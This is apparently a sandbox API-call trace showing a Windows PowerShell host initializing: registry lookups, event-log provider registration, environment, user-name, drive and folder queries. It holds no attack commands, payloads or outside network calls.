[0040.487] RegOpenKeyExW (in: hKey=0x390, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x3a4) returned 0x0
[0040.487] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x0) returned 0x2
[0040.487] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x0) returned 0x5
[0040.490] RegOpenKeyExW (in: hKey=0x390, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x3a8) returned 0x0
[0040.491] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x0) returned 0x2
[0040.491] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x3ac) returned 0x0
[0040.491] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x3b0) returned 0x0
[0040.491] RegCloseKey (hKey=0x3b0) returned 0x0
[0040.491] RegCloseKey (hKey=0x390) returned 0x0
[0040.491] RegCloseKey (hKey=0x3ac) returned 0x0
[0040.494] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x4340004
[0040.496] GetLastError () returned 0x0
[0040.497] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2919ff8*="WSMan", lpRawData=0x2919ea0) returned 1
[0040.502] GetLastError () returned 0x0
[0040.503] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.503] GetLastError () returned 0xcb
[0040.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.503] GetLastError () returned 0xcb
[0040.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.503] GetLastError () returned 0xcb
[0040.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.503] GetLastError () returned 0xcb
[0040.504] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e7c4 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e7c4) returned 0x1
[0040.504] GetLastError () returned 0xcb
[0040.504] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e7cc | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e7cc) returned 1
[0040.504] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x291de8c*="Alias", lpRawData=0x291dd48) returned 1
[0040.504] GetLastError () returned 0x0
[0040.505] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.505] GetLastError () returned 0xcb
[0040.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.505] GetLastError () returned 0xcb
[0040.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.506] GetLastError () returned 0xcb
[0040.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.506] GetLastError () returned 0xcb
[0040.506] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e7c4 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e7c4) returned 0x1
[0040.506] GetLastError () returned 0xcb
[0040.506] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e7cc | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e7cc) returned 1
[0040.506] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2921dd8*="Environment", lpRawData=0x2921c94) returned 1
[0040.506] GetLastError () returned 0x0
[0040.507] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.507] GetLastError () returned 0xcb
[0040.508] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="C:") returned 0x2
[0040.508] GetLastError () returned 0xcb
[0040.508] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="\\Users\\ATVeyDl98Z") returned 0x11
[0040.508] GetLastError () returned 0xcb
[0040.508] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z", nBufferLength=0x105, lpBuffer=0x16e2f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.508] GetLastError () returned 0xcb
[0040.508] SetErrorMode (uMode=0x1) returned 0x1
[0040.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z" (normalized: "c:\\users\\atveydl98z"), fInfoLevelId=0x0, lpFileInformation=0x16e774 | out: lpFileInformation=0x16e774*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ef5a00, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0x387b8e90, ftLastAccessTime.dwHighDateTime=0x1d2dc22, ftLastWriteTime.dwLowDateTime=0x387b8e90, ftLastWriteTime.dwHighDateTime=0x1d2dc22, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.508] GetLastError () returned 0xcb
[0040.508] SetErrorMode (uMode=0x1) returned 0x1
[0040.510] GetLogicalDrives () returned 0x4
[0040.510] GetLastError () returned 0xcb
[0040.511] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x16e218, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.511] GetLastError () returned 0xcb
[0040.512] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0040.512] GetLastError () returned 0xcb
[0040.512] SetErrorMode (uMode=0x1) returned 0x1
[0040.513] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x365410, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x16e740, lpMaximumComponentLength=0x16e73c, lpFileSystemFlags=0x16e738, lpFileSystemNameBuffer=0x365310, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x16e740*=0x40f77a1b, lpMaximumComponentLength=0x16e73c*=0xff, lpFileSystemFlags=0x16e738*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1
[0040.513] GetLastError () returned 0xcb
[0040.513] SetErrorMode (uMode=0x1) returned 0x1
[0040.513] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0040.513] GetLastError () returned 0xcb
[0040.513] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x16e2a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.513] GetLastError () returned 0xcb
[0040.513] SetErrorMode (uMode=0x1) returned 0x1
[0040.513] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x2922fd4 | out: lpFileInformation=0x2922fd4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe662e5bd, ftCreationTime.dwHighDateTime=0x1ca0427, ftLastAccessTime.dwLowDateTime=0x5d39d9a0, ftLastAccessTime.dwHighDateTime=0x1d305dd, ftLastWriteTime.dwLowDateTime=0x5d39d9a0, ftLastWriteTime.dwHighDateTime=0x1d305dd, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.513] GetLastError () returned 0xcb
[0040.513] SetErrorMode (uMode=0x1) returned 0x1
[0040.513] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x16e2a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.513] GetLastError () returned 0xcb
[0040.513] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x16e22c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.513] GetLastError () returned 0xcb
[0040.513] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0040.514] GetLastError () returned 0xcb
[0040.514] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x16e1e8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.514] GetLastError () returned 0xcb
[0040.514] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0040.514] GetLastError () returned 0xcb
[0040.515] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x16e1f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.515] GetLastError () returned 0xcb
[0040.515] SetErrorMode (uMode=0x1) returned 0x1
[0040.515] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x2923c2c | out: lpFileInformation=0x2923c2c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe662e5bd, ftCreationTime.dwHighDateTime=0x1ca0427, ftLastAccessTime.dwLowDateTime=0x5d39d9a0, ftLastAccessTime.dwHighDateTime=0x1d305dd, ftLastWriteTime.dwLowDateTime=0x5d39d9a0, ftLastWriteTime.dwHighDateTime=0x1d305dd, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.515] GetLastError () returned 0xcb
[0040.515] SetErrorMode (uMode=0x1) returned 0x1
[0040.515] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x16e1f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.515] GetLastError () returned 0xcb
[0040.515] SetErrorMode (uMode=0x1) returned 0x1
[0040.515] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x2923d7c | out: lpFileInformation=0x2923d7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe662e5bd, ftCreationTime.dwHighDateTime=0x1ca0427, ftLastAccessTime.dwLowDateTime=0x5d39d9a0, ftLastAccessTime.dwHighDateTime=0x1d305dd, ftLastWriteTime.dwLowDateTime=0x5d39d9a0, ftLastWriteTime.dwHighDateTime=0x1d305dd, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.515] GetLastError () returned 0xcb
[0040.515] SetErrorMode (uMode=0x1) returned 0x1
[0040.515] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x16e23c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.515] GetLastError () returned 0xcb
[0040.515] SetErrorMode (uMode=0x1) returned 0x1
[0040.515] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x2923f1c | out: lpFileInformation=0x2923f1c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe662e5bd, ftCreationTime.dwHighDateTime=0x1ca0427, ftLastAccessTime.dwLowDateTime=0x5d39d9a0, ftLastAccessTime.dwHighDateTime=0x1d305dd, ftLastWriteTime.dwLowDateTime=0x5d39d9a0, ftLastWriteTime.dwHighDateTime=0x1d305dd, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.516] GetLastError () returned 0xcb
[0040.516] SetErrorMode (uMode=0x1) returned 0x1
[0040.516] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e7c4 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e7c4) returned 0x1
[0040.516] GetLastError () returned 0xcb
[0040.516] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e7cc | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e7cc) returned 1
[0040.516] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2926c5c*="FileSystem", lpRawData=0x2926b18) returned 1
[0040.517] GetLastError () returned 0x0
[0040.517] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.517] GetLastError () returned 0xcb
[0040.518] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.518] GetLastError () returned 0xcb
[0040.518] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.518] GetLastError () returned 0xcb
[0040.518] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.518] GetLastError () returned 0xcb
[0040.518] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e7c4 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e7c4) returned 0x1
[0040.518] GetLastError () returned 0xcb
[0040.518] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e7cc | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e7cc) returned 1
[0040.519] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x292ad04*="Function", lpRawData=0x292abc0) returned 1
[0040.519] GetLastError () returned 0x0
[0040.520] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.520] GetLastError () returned 0xcb
[0040.522] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e1d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.522] GetLastError () returned 0xcb
[0040.522] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.523] GetLastError () returned 0xcb
[0040.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.523] GetLastError () returned 0xcb
[0040.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.523] GetLastError () returned 0xcb
[0040.548] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e7c4 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e7c4) returned 0x1
[0040.549] GetLastError () returned 0xcb
[0040.549] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e7cc | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e7cc) returned 1
[0040.549] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2943d70*="Registry", lpRawData=0x2943c2c) returned 1
[0040.549] GetLastError () returned 0x0
[0040.551] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.551] GetLastError () returned 0x0
[0040.551] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.551] GetLastError () returned 0x0
[0040.551] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.551] GetLastError () returned 0x0
[0040.552] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e7c4 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e7c4) returned 0x1
[0040.552] GetLastError () returned 0x0
[0040.552] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e7cc | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e7cc) returned 1
[0040.552] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2947b10*="Variable", lpRawData=0x29479cc) returned 1
[0040.552] GetLastError () returned 0x0
[0040.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.554] GetLastError () returned 0xcb
[0040.556] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.556] GetLastError () returned 0xcb
[0040.558] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0040.558] GetLastError () returned 0xcb
[0040.558] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0040.558] GetLastError () returned 0xcb
[0040.559] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0040.559] GetLastError () returned 0xcb
[0040.559] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0040.559] GetLastError () returned 0xcb
[0040.599] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e7c4 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e7c4) returned 0x1
[0040.599] GetLastError () returned 0x3
[0040.600] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e7cc | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e7cc) returned 1
[0040.600] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x295588c*="Certificate", lpRawData=0x2955748) returned 1
[0040.600] GetLastError () returned 0x0
[0040.609] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.609] GetLastError () returned 0xcb
[0040.612] GetLogicalDrives () returned 0x4
[0040.612] GetLastError () returned 0xcb
[0040.612] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x16e33c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.612] GetLastError () returned 0xcb
[0040.612] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0040.612] GetLastError () returned 0xcb
[0040.613] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x365310 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop") returned 0x1b
[0040.613] GetLastError () returned 0xcb
[0040.614] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.614] GetLastError () returned 0xcb
[0040.614] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.614] GetLastError () returned 0xcb
[0040.627] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.627] GetLastError () returned 0xcb
[0040.629] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.629] GetLastError () returned 0xcb
[0040.630] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e184, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.630] GetLastError () returned 0xcb
[0040.630] SetErrorMode (uMode=0x1) returned 0x1
[0040.630] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x295d030 | out: lpFileInformation=0x295d030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.630] GetLastError () returned 0xcb
[0040.630] SetErrorMode (uMode=0x1) returned 0x1
[0040.630] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e18c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.630] GetLastError () returned 0xcb
[0040.630] SetErrorMode (uMode=0x1) returned 0x1
[0040.630] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x295d1d0 | out: lpFileInformation=0x295d1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.630] GetLastError () returned 0xcb
[0040.630] SetErrorMode (uMode=0x1) returned 0x1
[0040.631] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.631] GetLastError () returned 0xcb
[0040.633] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e2d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.633] GetLastError () returned 0xcb
